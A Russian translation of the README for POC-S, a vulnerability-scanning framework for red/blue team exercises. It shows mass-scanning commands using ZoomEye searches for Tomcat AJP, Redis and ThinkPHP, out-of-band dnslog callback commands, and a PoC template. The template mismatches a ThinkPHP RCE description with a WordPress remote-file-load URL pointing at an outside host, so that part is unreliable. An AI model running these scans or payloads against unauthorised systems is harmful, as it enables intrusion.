
POC-S — усиленная версия POC-T для быстрой проверки уязвимостей веб-приложений в ходе красно-синих учений (Red Team / Blue Team). Функциональность расширена, скрипты добавлены с классификацией, встроены dnslog и другие средства. Платформа дополнена высоконадёжными POC из целей vulhub и других открытых проектов.
Документация POC-T в виде wiki находится в каталоге doc
Предисловие: в настоящее время
Использование POC-S для атаки на цель без предварительного обоюдного согласия является незаконным. POC-S предназначен только для целей тестирования безопасности.
TODO
Поскольку сторонние интерфейсы требуют аутентификации, можно инициализировать соответствующую конфигурацию интерфейса с помощью параметра --init, например: --init zoomeye
pip install pocs
Установка из исходников:
git clone https://github.com/jiangsir404/POC-S.git
mv pocs/toolkit.conf.bak mv pocs/toolkit.conf
python setup.py install
Если при установке pocs через pip возникает ошибка
Some files missing, необходимо перейти в каталог установки pocs (python2.7\Lib\site-packages\pocs) и переименовать tookit.conf. Если возникает предупреждениеWARNING: Generating metadata for package cachetools produced metadata for project name unknown. Fix your #egg=cachetools fragments., это проблема зависимостей пакетов. Пожалуйста, проверьте и обновите версии нескольких пакетов: setuptools==39.0.1 cachetools==3.1.1 google-api-python-client==1.7.11
pocs -s test/test2.py -iS 127.0.0.1 # загрузить скрипт script/test/test2.py
pocs -s test2 -iS 127.0.0.1 # загрузить скрипт script/test2.py
pocs -b test -iS 127.0.0.1 # пакетная загрузка всех скриптов из каталога /script/test
pocs -b test -s test2.py -iS 127.0.0.1 # загрузить скрипт script/test/test2.py
pocs -s myself_script.py -iS 127.0.0.1 # загрузить собственный скрипт и каталог скриптов
pocs -b mydir -iS 127.0.0.1
pocs --init zoomeye // инициализация конфигурации ZoomEye
pocs -b redis -t 50 -aZ "port:6379" --limit 50 -o res.txt
pocs -s test2.py -aZ "ThinkPHP"
Пакетный поиск уязвимости CNVD-2020-10487 Tomcat AJP LFI с помощью ZoomEye:
pip install pocs
pocs -b apache -aZ "app:tomcat" --limit 50 -t 30 -o ajp.txt

Если вас беспокоит нестабильность ceye, и у вас нет времени и сил разворачивать платформу DNSLog (требуется два домена, один публичный IP, а также возможность изменять DNS-серверы домена), то можете попробовать простую платформу dnslog, предоставляемую POC-S. Для её развёртывания требуется только один домен и один публичный IP; предоставляется API для проверки (без интерфейса).
Предположим, dnslog.xxx.cn – ваш публичный домен, x.x.x.x – публичный IP. Убедитесь, что dnslog.xxx.cn может корректно разрешаться в x.x.x.x, иначе API не будет доступен. На публичном IP (x.x.x.x) выполните команду:
pip install pocs
pocs_dnslog -h 0.0.0.0 -p 88 (если не установлено через pip, можно напрямую запустить скрипт pocs.dnslog.py)
>>> dns domain: dnslog.xxx.cn
>>> api key: rivir
>>>dns ip: x.x.x.x
Команда для DNS log поддерживает только nslookup: nslookup 1234.dnslog.xxx.cn x.x.x.x
Если вы хотите использовать команду
ping 1234.dnslog.xxx.cn, вы также можете настроить собственный сервер доменных имён для домена xxx.cn (см. конфигурацию DNSLog).
Команда для web log: curl http://dnslog.xxx.cn:88/weblog/poc123
Адрес API: http://x.x.x.x:88/api/?token={token}&type={dns}&filter=1234.dnslog.xxx.cn
Параметры:
- token обязательный, api_key, введённый при настройке dnslog
- type обязательный, возможные значения: dns/web
- filter необязательный, фильтрация записей, точное совпадение
pocs предоставляет более гибкий способ классификации плагинов. На данный момент собраны четыре типа PoC: Fuzz PoC, OWASP PoC, Vuln PoC, Tool PoC. Что касается PoC, будут по возможности собраны уже существующие PoC с GitHub, но не слишком много; личные сборки остаются за пользователем.
Написание PoC будет по возможности стандартизировано, следуя стилю POC-T. Пример:
#!/usr/bin/env python
#coding:utf-8
"""
ThinkPHP5 <=5.0.22/<=5.1.29 Remote Code Execution Vulnerability
Desc
10 декабря 2018 года в полдень официальный аккаунт ThinkPHP опубликовал уведомление об обновлении, содержащее информацию о высокорискованной уязвимости, позволяющей получить доступ к серверу во всех версиях серии 5.x.
Из-за недостаточной проверки имени контроллера при отключённом принудительном маршрутизации возможна уязвимость получения доступа к серверу.
Затронутые версии: все до 5.0.23 и 5.1.31 соответственно. Рекомендуется как можно скорее обновиться до последней версии.
Version
ThinkPHP5.0 version <= 5.0.22 ThinkPHP5.1 version <= 5.1.29
Usage:
1. python POC-S.py -s
2. POC: /wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://lj.s7star.cn/info.txt
Referer
https://www.seebug.org/vuldb/ssvid-9771
"""
import requests
def poc(url):
pass
В основном взяты из плагинов Vulhub и встроенных PoC POC-T, добавлены только высокодоступные PoC. Каждый из перечисленных ниже PoC был проверен на работоспособность в собственной среде. Если какой-либо PoC содержит ошибку, пожалуйста, создайте issue.
Источник: boy-hack/POC-T
Скрипты обнаружения из источника hunter
Некоторые распространённые PoC инструментального типа, предоставляющие поисковые системы, информационный поиск и другие функции
Другие открытые PoC, например, с https://github.com/boy-hack/airbug, содержат некоторые PoC, которые можно использовать напрямую, но есть библиотека HackReqeust, написанная на Python 3, которую нужно адаптировать под Python 2. Вы можете напрямую установить мою адаптированную библиотеку для Python 2: https://github.com/jiangsir404/hack-requests